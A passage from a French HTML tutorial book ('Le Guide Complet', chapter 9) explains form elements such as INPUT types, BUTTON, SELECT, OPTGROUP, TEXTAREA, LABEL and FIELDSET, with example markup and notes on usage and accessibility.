j L’attribut enctype spécifie le type de contenu défini pour la
soumission du formulaire au serveur (lorsque la valeur de method
est post). La valeur par défaut de cet attribut est
application/x−www−form−urlencoded. La valeur multipart/
form−data doit être employée avec l’élément INPUT lorsque
celui-ci est défini comme type="file".
j L’attribut accept−charset spécifie la liste des encodages de
caractères des données saisies qui sont acceptés par le serveur
traitant ce formulaire. La valeur est une liste de valeurs de jeu de
caractères, séparées par des espaces et/ou des virgules. Le client
doit interpréter cette liste comme une liste de type « OU

340 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

exclusif ». La valeur par défaut de cet attribut est la chaîne

réservée UNKNOWN. Les agents utilisateurs peuvent interpréter
cette valeur comme représentant l’encodage de caractères
employé pour transmettre le document contenant l’élément FORM
en question.
j Enfin, l’attribut accept spécifie la liste de types de contenu,
séparés par des virgules, que le serveur qui traite ce formulaire
prend correctement en charge. L’agent utilisateur peut utiliser ces
informations pour éliminer les fichiers non conformes quand il
demande à l’utilisateur de sélectionner un fichier à envoyer au
serveur.

Types de commandes de formulaire

Les utilisateurs interagissent avec les formulaires au moyen de
commandes nommées. Le « nom de commande » d’une commande est
spécifié par son attribut name. La portée de l’attribut name d’une
commande au sein d’un élément FORM est cet élément FORM.

Chaque commande possède à la fois une valeur initiale et une valeur

courante, toutes deux des chaînes de caractères. La valeur initiale d’une
commande peut généralement être spécifiée à l’aide de l’attribut value
de l’élément de commande.

La valeur courante d’une commande est d’abord égale à la valeur initiale.

Elle peut être modifiée par la suite par les actions de l’utilisateur et par
les scripts.

La valeur initiale d’une commande ne change pas. Lorsqu’un formulaire

est réinitialisé, la valeur courante de chaque commande redevient sa
valeur initiale. Si la commande est dépourvue de valeur initiale, l’effet
de la réinitialisation du formulaire sur cette commande est indéfini.

Lors de la soumission du formulaire pour son traitement, le nom et la

valeur courante de certaines commandes sont accouplés. Ces couples
sont soumis avec le formulaire.

HTML définit plusieurs grands types de commandes :

j Boutons d’action. Comme l’indique leur nom, les boutons
d’action ont pour but de déclencher une action. Celle-ci peut être
définie, comme pour un bouton de soumission (qui soumet le

LE GUIDE COMPLET 341

 Chapitre 9 Formulaires

formulaire) ou de réinitialisation (qui redonne leur valeur initiale

à toutes les commandes), ou définie par l’utilisateur. Un
formulaire peut contenir plusieurs boutons de soumission. Un
bouton d’action défini par l’utilisateur ne possède pas de
comportement par défaut. Chaque bouton poussoir peut avoir des
scripts côté client qui sont associés aux attributs d’événement de
l’élément. Quand un événement se produit (par exemple,
l’utilisateur presse le bouton, le relâche, etc.), le script associé est
déclenché. Le langage du script du bouton doit être défini à l’aide
d’une déclaration de script par défaut (avec l’élément META). Un
bouton est créé à l’aide d’un élément BUTTON ou INPUT.
j Cases à cocher. Les cases à cocher sont des interrupteurs
marche/arrêt qui peuvent être actionnés par l’utilisateur.
L’interrupteur est sur « marche » lorsque l’attribut checked de
l’élément de commande est spécifié. Lors de la soumission du
formulaire, seules les commandes de cases à cocher activées
peuvent devenir des commandes réussies. Des cases à cocher
peuvent être regroupées au sein d’un formulaire sous un même
nom de commande. Elles permettent ainsi aux utilisateurs de
sélectionner plusieurs valeurs pour la même propriété. Vous créez
une case à cocher à l’aide de l’élément INPUT.
j Boutons d’option. Parfois également appelés boutons radio, les
boutons d’option sont analogues aux cases à cocher. Ils en
diffèrent toutefois en ce que, lorsqu’ils sont regroupés sous un
même nom de commande, ils sont mutuellement exclusifs :
lorsqu’un bouton est mis sur « marche », tous les autres boutons
du groupe sont automatiquement mis sur « arrêt ». Vous créez un
bouton radio à l’aide de l’élément INPUT. En raison des
différences d’interprétation entre les agents utilisateurs, veillez à
ce que l’un des boutons d’option d’un groupe soit mis
initialement sur « marche ».
j Menus. Les menus proposent des options aux utilisateurs, parmi
lesquelles il faut faire un choix. Vous créez un menu à l’aide de
l’élément SELECT combiné avec des éléments OPTGROUP et
OPTION.
j Saisie de texte. Deux types de commande permettent aux
utilisateurs la saisie d’un texte. L’élément INPUT crée une
commande pour une saisie sur une seule ligne, l’élément
TEXTAREA, pour une saisie sur plusieurs lignes. Dans les deux
cas, le texte saisi devient la valeur courante de la commande.

342 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

j Sélection d’un fichier. Ce type de commande permet à

l’utilisateur de sélectionner un fichier de sorte que son contenu
puisse être soumis avec le formulaire. Une commande de
sélection de fichier est créée à l’aide de l’élément INPUT.
j Commandes cachées. Il est possible de créer des commandes qui
ne sont pas restituées mais dont les valeurs sont soumises avec le
formulaire. Cela sert généralement à enregistrer les informations
entre les échanges client/serveur, qui seraient autrement perdues
du fait de la nature « sans état » du protocole HTTP (voir le
document [RFC2616]). Une commande cachée est créée à l’aide
de l’élément INPUT.
j Commandes d’objets. Il est possible d’insérer des objets
génériques dans les formulaires, de façon que les valeurs qui leur
sont associées soient soumises en même temps que les autres
commandes. L’élément OBJECT permet de créer une commande
d’objet.

Les éléments utilisés pour créer les commandes apparaissent

généralement dans un élément FORM. Ils peuvent toutefois apparaître en
dehors de la déclaration de l’élément FORM lorsqu’ils servent à créer une
interface utilisateur.

Élément INPUT
Vous avez dû remarquer que l’élément INPUT est de loin l’élément le
plus employé dans un formulaire. Il permet en effet de créer des boutons
d’action, des cases à cocher, des boutons d’option, la saisie d’un texte
d’une ligne, la sélection d’un fichier et de créer une commande cachée.

Cet élément, dépourvu de balise de fermeture, possède la syntaxe

générale suivante :
<INPUT type=valeur name=valeur value=valeur size=valeur>

L’attribut type est l’attribut le plus important : il spécifie le type de

commande à créer. Cet attribut peut posséder de nombreuses valeurs
légales, qui conditionnent la présence ou l’absence d’autres attributs.

La valeur par défaut de cet attribut est text. Cela crée une commande
de saisie de texte sur une seule ligne. L’attribut complémentaire size
indique à l’agent utilisateur la largeur initiale de la commande, exprimée

LE GUIDE COMPLET 343

 Chapitre 9 Formulaires

en nombre entier de caractères. L’attribut complémentaire maxlength

spécifie le nombre maximum de caractères que l’utilisateur peut saisir.
Par exemple,
Nom de l’utilisateur : <INPUT type=text name="nomutilisateur"
value="" size="10" maxlength="25">

crée un champ de 10 caractères de largeur, qui peut accepter jusqu’à 25

caractères en tout.

Figure 9.2 :
Exemple d’élément INPUT de type text

Lorsqu’il sera soumis, le nom du champ sera nomutilisateur et la valeur

(value) sera ce qui a été saisi dans le champ.

La valeur password crée une commande de saisie de texte sur une

seule ligne, de type mot de passe : le texte saisi est restitué de manière à
dissimuler les caractères (par exemple, une succession d’astérisques). La
valeur courante est le texte saisi par l’utilisateur, non le texte restitué par
l’agent utilisateur. Vous employez en ce cas les attributs
complémentaires size et maxlength comme avec la valeur text.
Mot de passe : <INPUT type="password" name="motdepasse"
size="10" maxlenght="15">

Cet exemple crée un champ de 10 caractères de largeur, qui peut

accepter jusqu’à un maximum de 15 caractères en tout. Lors de la saisie,
les caractères sont remplacés à l’écran par des astérisques.

Figure 9.3 :
Exemple d’élément INPUT de type password

344 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

Comme pour la valeur text, lors de la soumission, le nom du champ

sera motdepasse et la valeur (value) ce qui a été saisi dans le champ.

Mot de passe
La protection offerte par ce dispositif reste toute relative. Bien qu’il
soit masqué par l’agent utilisateur aux yeux d’un éventuel observateur, le
mot de passe est transmis au serveur en texte clair et peut être lu par
quiconque possède un accès au réseau.

La valeur checkbox crée une case à cocher, tandis que la valeur radio
crée un bouton d’option. L’attribut complémentaire value, qui spécifie
la valeur initiale de la commande, est alors obligatoire. L’attribut
booléen checked spécifie que le bouton (ou la case) est sur « marche ».
En voici un exemple :
<P>Sexe :<BR>
<INPUT type="radio" name="sexe" value="homme" checked> Homme
<INPUT type="radio" name="sexe" value="femme"> Femme
</P>
<P>Mat&eacute;riel poss&eacute;d&eacute; :<BR>
<INPUT type="checkbox" name="matos" value="LCD" checked>
Ecran plat
<INPUT type="checkbox" name="matos" value="DVD">
Graveur de DVD
<INPUT type="checkbox" name="matos" value="CD">
Graveur de CD
<INPUT type="checkbox" name="matos" value="multi">
Imprimante multifonction
</P>

Figure 9.4 :
Exemple d’éléments INPUT de type
checkbox et radio

Remarquez dans cette figure que le bouton Homme est coché, tout
comme les cases Écran plat et Graveur de DVD.

LE GUIDE COMPLET 345

 Chapitre 9 Formulaires

Si chaque bouton d’option nécessite un élément séparé, vous les

rassemblez dans un même groupe à l’aide d’un même name, ici
« sexe ». Des boutons d’option appartenant au même groupe sont
mutuellement exclusifs : un clic sur l’un d’entre eux désactive les autres.
Vous pouvez posséder plusieurs groupes de boutons d’option, chaque
groupe de boutons possédant un name unique. Chaque bouton possède
toutefois une value différente, ici « homme » et « femme ». Homme et
femme étant des valeurs mutuellement exclusives, ils constituent de
bons candidats pour des boutons d’option.

En revanche, les cases à cocher laissent l’utilisateur libre de sélectionner

plus d’une option dans un groupe. Les champs de cases à cocher d’un
même groupe possèdent le même nom, des valeurs différentes, mais ne
s’excluent pas mutuellement. Dans cet exemple, l’utilisateur peut
posséder zéro ou plusieurs des matériels cités : des cases à cocher
constituent donc un excellent choix.

Les valeurs submit et reset créent respectivement un bouton de

soumission et un bouton de réinitialisation. Voici un exemple de mise en
œuvre :
<INPUT type="submit" value="Envoyer !">
<INPUT type="reset" value="Annuler">

Figure 9.5 :
Exemple d’éléments INPUT de type
submit et reset

Ces boutons possèdent des significations préétablies : vous n’avez pas à

leur lier de script. Le bouton de soumission effectue l’action définie dans
l’élément FORM, tandis que le bouton de réinitialisation redonne à tous
les éléments du formulaire leur valeur initiale. Exceptionnellement,
l’attribut name est normalement superflu pour ces deux boutons : la
valeur qui apparaît sur le bouton lui-même n’est pas envoyée avec le
reste des données du formulaire. Elle ne possède pas de nom et est par
conséquent sans intérêt.

346 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

Si vous spécifiez toutefois un nom pour votre bouton Envoyer, le nom et

la valeur ( name et value) de ce bouton seront envoyés. Cette
caractéristique peut se révéler très utile en combinaison avec l’emploi de
langages de script lors du traitement de votre formulaire.

La valeur image crée un bouton de soumission graphique. La valeur de

l’attribut complémentaire src spécifie alors l’URI de l’image qui va
décorer le bouton. Pour des questions d’accessibilité, mieux vaut
toujours fournir un texte de remplacement pour l’image, à l’aide de
l’attribut alt. L’attribut complémentaire obligatoire src spécifie la
localisation de l’image à utiliser pour décorer le bouton de soumission
graphique.

Lorsque vous cliquez sur l’image à l’aide d’un dispositif de pointage, le

formulaire est soumis et les coordonnées du clic sont transmises au
serveur. La coordonnée « x » se mesure en pixels à partir de la gauche
de l’image et la coordonnée « y » en pixels à partir du haut de l’image.
Les données soumises comprennent les valeurs nom.x=valeur−de−x et
nom.y=valeur−de−y, dans lesquelles nom est la valeur de l’attribut
name, et valeur-de-x et valeur-de-y respectivement les valeurs
des coordonnées « x » et « y ».

Remarquez que, si le serveur doit entreprendre des actions différentes

selon l’endroit cliqué, l’utilisateur d’un navigateur non graphique sera
désavantagé. Mieux vaut donc recourir aux approches alternatives
suivantes :
j Employer plusieurs boutons de soumission (chacun avec sa
propre image) au lieu d’un seul bouton de soumission graphique.
Les feuilles de style permettent de contrôler le positionnement de
ces boutons.
j Employer une image cliquable côté client en combinaison avec
des scripts.

Voici un exemple :
<INPUT type="image" src="images/[Link]"
alt="Envoyer !">

Il est créé un bouton de type image, qui emploie le fichier image

[Link] (situé comme il se doit dans le dossier images du site)
et dont le texte alternatif est « Envoyer ! ».

LE GUIDE COMPLET 347

 Chapitre 9 Formulaires

Figure 9.6 :
Exemple d’élément INPUT de type
image

La valeur button crée un bouton d’action. L’intitulé du bouton est la

valeur de l’attribut value.
<INPUT type="button" name="fond"
value="Changer la couleur de fond">

Figure 9.7 :
Exemple d’élément INPUT de type
button

La valeur hidden crée une commande cachée.

<INPUT type="hidden" name="sourceform" value="[Link]">

Nous ne montrons pas de copie d’écran, puisque par définition cette

commande n’y apparaît pas !

Cela permet par exemple de savoir quel formulaire l’utilisateur a rempli,

ou de soumettre l’heure, la date, les données de l’utilisateur, ou des
données similaires en plus du reste des données du formulaire.

Enfin, la valeur file crée une commande de sélection de fichiers. Le

nom du fichier initial est en principe la valeur de l’attribut value.
<B>Fichier &agrave; envoyer :</B>
<INPUT type=”file” name=”envoyer” size=10>

348 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

Figure 9.8 :
Exemple d’élément INPUT de
type file

Remarquez dans la figure précédente qu’un bouton Parcourir est

automatiquement ajouté à côté du champ de saisie du nom de fichier :
vous pouvez cliquer dessus pour parcourir votre système de fichiers et
sélectionner le fichier concerné.

En spécifiant dans l’élément FORM l’attribut enctype et en lui attribuant

la valeur multipart/form−data, chaque contenu de fichier sera
conditionné pour soumission dans une section distincte d’un document
en plusieurs parties.

Les autres attributs de l’élément INPUT sont présentés dans le tableau

suivant.

Tableau 9.1 : Autres attributs de l’élément INPUT

Attribut Valeur But

Checked booléen Lorsque l’attribut type possède la valeur radio

ou checkbox, spécifie que le bouton est sur
« marche ». Ignoré pour les autres types de
commande.

Maxlength entier Spécifie, lorsque l’attribut type possède la valeur

text ou password, le nombre maximum de
caractères que l’utilisateur peut saisir. Ce nombre
peut excéder la valeur spécifiée pour l’attribut
size, auquel cas l’agent utilisateur devrait
proposer un mécanisme de défilement. La valeur
par défaut de cet attribut est un nombre illimité.

Name nom Nom de la commande

Notab Retire l’élément de l’ordre de tabulation

LE GUIDE COMPLET 349

 Chapitre 9 Formulaires

Tableau 9.1 : Autres attributs de l’élément INPUT

Attribut Valeur But

Size entier Indique à l’agent utilisateur la largeur initiale de la

commande. La largeur est donnée en pixels, sauf
lorsque l’attribut type possède la valeur text ou
password. Il s’agit alors d’un nombre entier de
caractères.

Src uri Lorsque l’attribut type possède la valeur image,

spécifie la localisation de l’image à utiliser pour
décorer le bouton de soumission graphique.

Tabindex entier Définit la place dans l’ordre de tabulation

Value valeur Valeur initiale de la commande. Facultatif, sauf

lorsque l’attribut type possède la valeur radio
ou checkbox.

Nous reviendrons dans la suite de ce chapitre sur les attributs tabindex

et notab.

Élément ISINDEX
L’élément ISINDEX n’est pas un élément de formulaire, puisqu’il
n’appartient pas à un élément FORM. Son emploi est fortement
déconseillé. Cet élément crée une commande de saisie d’un texte sur une
seule ligne, qui admet un nombre quelconque de caractères. Les agents
utilisateurs peuvent utiliser la valeur de l’attribut prompt de cet élément
comme titre pour l’invite. Mieux vaut employer INPUT pour créer des
commandes de saisie de texte.
Ainsi, la déclaration ISINDEX suivante :
<ISINDEX prompt="Saisissez le mot &agrave; rechercher : ">
pourrait se réécrire comme suit avec l’élément INPUT :
<FORM action="..." method="post">
<P>Saisissez le mot &agrave; rechercher : <INPUT type="text">
</P>
</FORM>

Élément BUTTON
Les boutons créés par l’élément BUTTON fonctionnent exactement
comme ceux créés avec l’élément INPUT, mais offrent des possibilités
de restitution plus variées, puisque l’élément BUTTON peut posséder un

350 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

contenu. Par exemple, un élément BUTTON qui contient une image

fonctionne de la même façon et peut avoir le même aspect qu’un
élément INPUT dont l’attribut type possède la valeur image, mais
admet en outre un contenu.

Cet élément doit impérativement posséder une balise ouvrante et une

balise de fermeture.

Les agents utilisateurs visuels peuvent restituer les boutons BUTTON en

relief et avec un mouvement de haut en bas quand on les clique, les
boutons INPUT étant restitués comme des images plates (reportez-vous
à la figure de la page 378).

Ses principaux attributs sont les suivants :

j name spécifie le nom de la commande.
j value définit la valeur initiale du bouton.
j type déclare le type du bouton. Les valeurs possibles sont la
valeur par défaut submit (bouton de soumission), reset (bouton
de réinitialisation) et button (bouton d’action).

L’exemple suivant reprend et prolonge un exemple précédent en créant

des boutons de soumission et de réinitialisation avec l’élément BUTTON
au lieu de INPUT. Les boutons contiennent des images par
l’intermédiaire d’éléments IMG.
<FORM action="[Link]
method="post">
<P>
Pr&eacute;nom : <INPUT type="text" name="prenom"><BR>
Nom : <INPUT type="text" name="nom"><BR>
E-mail: <INPUT type="text" name="email"><BR>
<INPUT type="radio" name="genre" value="homme"> Homme<BR>
<INPUT type="radio" name="genre" value="femme"> Femme<BR>
<BUTTON name="submit" value="envoyer" type="submit">
<IMG src="images/c_bon.gif" alt="C’est tout bon !">
</BUTTON>
<BUTTON name="reset" type="reset">
<IMG src="images/c_pas_bon.gif" alt="Surtout pas !">
</BUTTON>
</P>
</FORM>

Le résultat est présenté dans la figure suivante. Pensez à toujours fournir

un texte de remplacement pour l’élément IMG.

LE GUIDE COMPLET 351

 Chapitre 9 Formulaires

Figure 9.9 :
Exemple d’élément BUTTON

IMG et BUTTON
Il est illégal d’associer une image cliquable à un élément IMG
apparaissant en contenu d’un élément BUTTON. L’exemple suivant est
interdit :
<BUTTON>
<IMG src="[Link]" usemap="...">
</BUTTON>

Éléments SELECT, OPTGROUP et OPTION

Élément SELECT
Vous créez un menu à l’aide d’un élément SELECT. Cet élément possède
obligatoirement une balise d’ouverture et une balise de fermeture.
Chaque option du menu est représentée par un élément OPTION. Un
élément SELECT doit contenir au moins un élément OPTION. Voici un
exemple.
<P>Choisissez votre navigateur :
<SELECT NAME="navigateur">
<OPTION value="nn">Netscape Navigator</OPTION>
<OPTION selected value="ff">Firefox</OPTION>
<OPTION value="msie">Microsoft Internet Explorer 5 ou
ant&eacute;rieur</OPTION>
<OPTION value="msie6">Microsoft Internet Explorer 6.x
</OPTION>

352 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

<OPTION value="autre">Texte ou autre</OPTION>

</SELECT>

Cet exemple crée ici un menu déroulant proposant les choix qui figurent
dans les différents éléments OPTION. Ce choix de mode de présentation
dépend toutefois de l’agent utilisateur.

Figure 9.10 :
Exemple de menu (élément SELECT)

Les principaux attributs de l’élément SELECT sont les suivants :

j L’attribut name spécifie le nom de la commande.
j L’attribut size spécifie le nombre de lignes de la zone de liste
déroulante, lorsque l’élément SELECT se présente comme tel. Les
agents utilisateurs ne sont pas tenus de présenter l’élément
SELECT sous forme d’une zone de liste : ils peuvent faire appel à
un autre mécanisme, comme un menu déroulant.
j L’attribut booléen facultatif multiple permet une sélection
multiple. En son absence, l’élément SELECT n’autorise qu’une
sélection unique.

Lorsque l’attribut multiple est spécifié, les utilisateurs peuvent choisir

plusieurs options en maintenant enfoncée la touche [Ctrl] pendant qu’ils
cliquent sur chacun de leurs choix.

Élément OPTION
Chaque choix d’un menu est représenté par un élément OPTION. Seule
la balise d’ouverture est obligatoire, mais, comme nous l’avons déjà
signalé, mieux vaut toujours fermer un élément HTML.

LE GUIDE COMPLET 353

 Chapitre 9 Formulaires

Les principaux attributs de l’élément OPTION sont les suivants :

j L’attribut label permet de spécifier un intitulé pour l’option
plus court que le contenu de l’élément OPTION. Les agents
utilisateurs doivent employer la valeur de cet attribut, lorsqu’il est
présent, plutôt que le contenu de l’élément OPTION comme
intitulé de l’option.
j L’attribut facultatif value spécifie la valeur initiale de la
commande. S’il est absent, la valeur initiale est le contenu de
l’élément OPTION.
j L’attribut booléen facultatif selected spécifie que l’option est
présélectionnée. Dans l’exemple précédent, nous avions décidé
que le choix Firefox était présélectionné :
<OPTION selected value="ff">Firefox</OPTION>

Il est possible de présélectionner zéro ou plusieurs options. Les agents

utilisateurs devraient déterminer les options présélectionnées comme
suit :
j Si aucun élément OPTION ne possède d’attribut selected, le
comportement de l’agent utilisateur vis-à-vis du choix de l’option
sélectionnée initiale est indéfini.
j Si un élément OPTION possède un attribut selected, alors
celui-ci devrait être présélectionné.
j Si l’élément SELECT possède un attribut multiple spécifié et
plusieurs éléments OPTION avec l’attribut selected spécifié,
alors ceux-ci devraient tous être présélectionnés.

Si plusieurs éléments OPTION possèdent un attribut selected alors que

l’attribut multiple n’est pas spécifié sur l’élément SELECT, c’est une
erreur. Les agents utilisateurs peuvent varier dans la prise en charge de
cette erreur, mais ils ne devraient pas présélectionner plus d’une option.

Élément OPTGROUP
Vous pouvez regrouper logiquement des options à l’aide de l’élément
OPTGROUP. Cela est particulièrement utile quand l’utilisateur doit
effectuer un choix à partir d’une longue liste d’options : les groupes
d’options apparentées sont plus faciles à comprendre et à se remémorer
qu’une seule longue liste d’options. Dans HTML 4, les groupes
imbriqués sont interdits : tous les éléments OPTGROUP doivent être
spécifiés directement dans un élément SELECT.

354 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

Les balises d’ouverture et de fermeture de l’élément OPTGROUP sont

obligatoires. Son principal attribut est label, qui spécifie l’intitulé du
groupe d’options.

Regroupement
Des futures versions de HTML pourraient (et devraient) étendre le
mécanisme de regroupement, de façon à autoriser l’imbrication de
groupes d’options.

Voici un exemple d’emploi de l’élément OPTGROUP :

<SELECT name="navigateur">
<OPTGROUP label="Nescape Navigator">
<OPTION label="4-" value="NN4-">
Ant&eacute;rieur &agrave; la version 4.0</OPTION>
<OPTION label="4-6" value="NN4_6">Version 4 &agrave; 6.x
</OPTION>
<OPTION label="6+" value="NN6+">Post&eacute;rieur &agrave;
la version 6.x</OPTION>
</OPTGROUP>
<OPTGROUP label="Firefox" selected>
<OPTION label="1.0" value="FF1">Firefox 1.0</OPTION>
<OPTION label="1.1" value="FF11" selected>Firefox 1.2
</OPTION>
<OPTION label="1.2" value="FF12">Firefox 1.2</OPTION>
</OPTGROUP>
<OPTGROUP label="Internet Explorer">
<OPTION label="4-" value="IE4-">
Ant&eacute;rieur &agrave; la version 4.0</OPTION>
<OPTION label="4-6" value="IE4_6">Version 4 &agrave; 6
</OPTION>
<OPTION label="6+" value="IE6+">Post&eacute;rieur
&agrave; la version 6.x</OPTION>
</OPTGROUP>
<OPTION selected label="autre" value="autre">Autre</OPTION>
</SELECT>

Les agents utilisateurs visuels peuvent autoriser les utilisateurs à

effectuer une sélection à partir des groupes d’options au moyen d’un
menu hiérarchique ou d’un autre mécanisme reflétant la structure des
options : c’est le cas de Firefox, comme le montre la figure suivante
(voir Figure 9.11).

Remarquez que chaque sous-menu affiche l’intitulé d’un élément

OPTGROUP ou d’un élément OPTION.

LE GUIDE COMPLET 355

 Chapitre 9 Formulaires

Figure 9.11 :
Exemple de menu, avec
recours à l’élément
OPTGROUP.

Élément TEXTAREA
L’élément TEXTAREA permet de créer une zone de texte de saisie
multiligne. Vos utilisateurs pourront la remplir en soumettant leurs
commentaires, suggestions ou messages de forum. TEXTAREA permet à
l’utilisateur de saisir plusieurs lignes de texte. Celles-ci sont contenues
dans value. Les agents utilisateurs doivent employer comme valeur
initiale le contenu de cet élément, intégralement restitué. Les balises
d’ouverture et de fermeture de cet élément sont obligatoires.

Les attributs de l’élément TEXTAREA sont les suivants :

j L’attribut name spécifie le nom de la commande.
j L’attribut rows spécifie le nombre de lignes de texte visibles. Les
utilisateurs doivent pouvoir saisir plus de lignes que ce nombre :
les agents utilisateurs devraient donc fournir un moyen de faire
défiler le contenu de la commande quand celui-ci s’étend au-delà
de la zone visible.
j L’attribut cols spécifie la largeur visible en fonction de la chasse
moyenne des caractères. Les utilisateurs doivent pouvoir saisir
des lignes plus longues que cette largeur. Les agents utilisateurs
peuvent couper les textes de ligne visibles afin de garder les
longues lignes visibles sans devoir les faire défiler.

Voici un exemple :
<FORM action="[Link]
method="post">
<P>
<TEXTAREA name="le_texte" rows="10" cols="80">
Premi&egrave;re ligne de texte initial.

356 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

Seconde ligne de texte initial.

</TEXTAREA>
<INPUT type="submit" value="Envoyer"><INPUT type="reset">
</P>
</FORM>

Cet exemple crée une commande TEXTAREA de dix lignes sur quatre-
vingts colonnes et qui contient initialement deux lignes de texte. La
commande TEXTAREA est suivie par deux boutons de soumission et de
réinitialisation.

Figure 9.12 :
Exemple d’élément
TEXTAREA

La spécification de l’attribut readonly permet à l’auteur d’afficher un

texte non modifiable dans la commande TEXTAREA. Cela diffère de
l’emploi d’un texte balisé standard dans un document, puisque la valeur
de l’élément TEXTAREA est soumise avec le formulaire.

Élément LABEL
Quelques commandes de formulaire possèdent des libellés ou labels
automatiquement associés (comme les boutons d’action), mais la plupart
en sont dépourvues (les champs de texte, les cases à cocher, les boutons
d’option ainsi que les menus).

Lorsqu’une commande possède un libellé implicite, les agents

utilisateurs doivent employer la valeur de l’attribut value comme
chaîne de caractères du libellé.

LE GUIDE COMPLET 357

 Chapitre 9 Formulaires

L’élément LABEL permet de spécifier un libellé pour les commandes

dépourvues de libellé implicite. Chaque élément LABEL est associé à
exactement une commande de formulaire. Ses balises d’ouverture et de
fermeture sont obligatoires.

L’attribut for associe explicitement un label à une autre commande : la

valeur de l’attribut for doit être la même que celle de l’attribut id
d’une certaine commande du même document. Quand il est absent, le
libellé qui est défini est associé au contenu de l’élément.

Dans l’exemple suivant, un tableau permet d’aligner deux commandes

de saisie de texte ainsi que les libellés qui leur sont associés. Chaque
libellé est associé explicitement à une commande de saisie de texte :
<FORM action="..." method="post">
<TABLE>
<TR>
<TD><LABEL for="libelle_prenom">Pr&eacute;nom</LABEL>
<TD><INPUT type="text" name="prenom" id="libelle_prenom">
<TR>
<TD><LABEL for="libelle_nom">Nom</LABEL>
<TD><INPUT type="text" name="nom" id="libelle_nom">
</TABLE>
</FORM>

Figure 9.13 :
Exemple d’éléments LABEL

L’attribut for
Il est possible d’associer plusieurs éléments LABEL à la même
commande en créant plusieurs références via l’attribut for.

L’exemple complique le précédent, en présentant plus d’éléments

LABEL :
<FORM action="[Link]
method="post">
<TABLE style="margin-left: 30%">

358 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

<TR>
<TH><LABEL for="libelle_prenom">Pr&eacute;nom :
</LABEL></TH>
<TD><INPUT type="text" id="libelle_prenom"></TD>
</TR>
<TR>
<TH><LABEL for="libelle_nom">Nom : </LABEL></TH>
<TD><INPUT type="text" id="libelle_nom"></TD>
</TR>
<TR>
<TH><LABEL for="libelle_email">Adrelle : </LABEL></TH>
<TD><INPUT type="text" id="libelle_email"></TD>
</TR>
<TR>
<TD colspan="2">
<INPUT type="radio" name="sexe" value="homme"> Homme
<BR>
<INPUT type="radio" name="sexe" value="femme"> Femme
</TD>
</TR>
</TABLE>
<P>
<INPUT type="submit" value="Envoyer"> <INPUT
type="reset">
</P>
</FORM>

Figure 9.14 :
Exemple d’éléments LABEL

Pour associer implicitement un libellé à une autre commande, l’élément

de commande doit se trouver à l’intérieur de l’élément LABEL. Cet
élément LABEL ne peut alors contenir qu’un seul élément de commande.
Le label en question peut se placer avant ou après la commande
associée.

L’exemple suivant associe implicitement deux libellés à deux

commandes de saisie de texte :

LE GUIDE COMPLET 359

 Chapitre 9 Formulaires

<FORM action="..." method="post">

<P>
<LABEL>
Pr&eacute;nom
<INPUT type="text" name="prenom">
</LABEL>
<LABEL>
<INPUT type="text" name="nom">
Nom
</LABEL>
</P>
</FORM>

Figure 9.15 :
Exemple d’éléments LABEL
(libellés implicites)

Remarquez qu’il est impossible d’employer cette technique lorsque la

disposition est assurée par un tableau : le libellé se trouve dans une
cellule et la commande associée dans une autre.

Lorsqu’un élément LABEL reçoit le focus, celui-ci est communiqué à la

commande associée. Le focus sera étudié dans la suite de ce chapitre.

Les agents utilisateurs peuvent restituer les libellés de nombreuses façons

(par exemple : visuellement, lus par des synthétiseurs de parole, etc.).

Ajout d’une structure à un formulaire :

éléments FIELDSET et LEGEND
Comme nous l’avons déjà largement souligné, une des vocations
profondes de HTML est de se préoccuper de la structure des documents.
Cette notion de structure semble quelque peu mise à mal par les
différents éléments de formulaires…

Heureusement, l’élément FIELDSET remédie à cette situation. Il permet

de regrouper par thème les commandes et les libellés apparentés. Le
regroupement des commandes facilite leur compréhension par les
utilisateurs, tout en améliorant la navigation par tabulation pour les
agents utilisateurs visuels et la navigation vocale pour les agents

360 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

utilisateurs vocaux. La bonne utilisation de cet élément rend plus

accessibles les documents.

L’élément LEGEND permet aux auteurs d’assigner une légende à un

élément FIELDSET. Il renforce l’accessibilité lorsque l’élément
FIELDSET est restitué de manière non visuelle. Ses balises d’ouverture
et de fermeture sont obligatoires.

Le principal attribut de LEGEND est align, désormais déconseillé au

profit des feuilles de style. Il positionne la légende par rapport au jeu de
champs. Ses valeurs possibles sont la valeur par défaut top (au-dessus
du jeu de champs), bottom (en dessous), left (à gauche) et right (à
droite).

L’exemple suivant propose un formulaire de type « recherche de

logiciel ». Il se divise en trois parties : les informations personnelles, le
système d’exploitation et la catégorie recherchée. Chaque partie contient
les commandes pour la saisie des informations concernées.
<FIELDSET>
<LEGEND>Syst&egrave;me d’exploitation</LEGEND>
<INPUT name="systeme_expl" type="radio"
value="Windows" checked> Windows
<INPUT name="systeme_expl" type="radio"
value="Mac OX" > Mac OX
<INPUT name="systeme_expl" type="radio"
value="Linux"> Linux
<INPUT name="systeme_expl" type="radio"
value="autre"> Autre
</FIELDSET>
<FIELDSET>
<LEGEND>Cat&eacute;gorie recerch&eacute;e</LEGEND>
Quel type de produit recherchez-vous ?
<INPUT name="categorie" type="checkbox"
value="utilitaire">Utilitaire syst&egrave;me
<INPUT name="categorie" type="checkbox"
value="sonvideo">Son et vid&eacute;o
<INPUT name="categorie" type="checkbox"
value="bureautique">Bureautique
<BR>
Si la cat&eacute;gorie recherchée ne figure pas
dans la liste pr&eacute;c&eacute;dente, saisissez
ci-dessous des mots-cl&eacute;s s&eacute;par&eacute;s
par des virgules.
<BR>
<TEXTAREA name="recherche" rows="3" cols="80">
</TEXTAREA>
</FIELDSET>
</FORM>

LE GUIDE COMPLET 361

 Chapitre 9 Formulaires

La figure suivante montre l’aspect de ce formulaire sous Firefox.

Figure 9.16 : Exemple d’éléments FIELSET et LEGEND

Remarquez qu’il serait possible d’améliorer à l’aide de la feuille de style

la présentation visuelle du formulaire, en alignant les éléments à
l’intérieur de chaque élément FIELDSET et en ajoutant de la couleur et
des indications de police. Vous pourriez également ajouter des scripts,
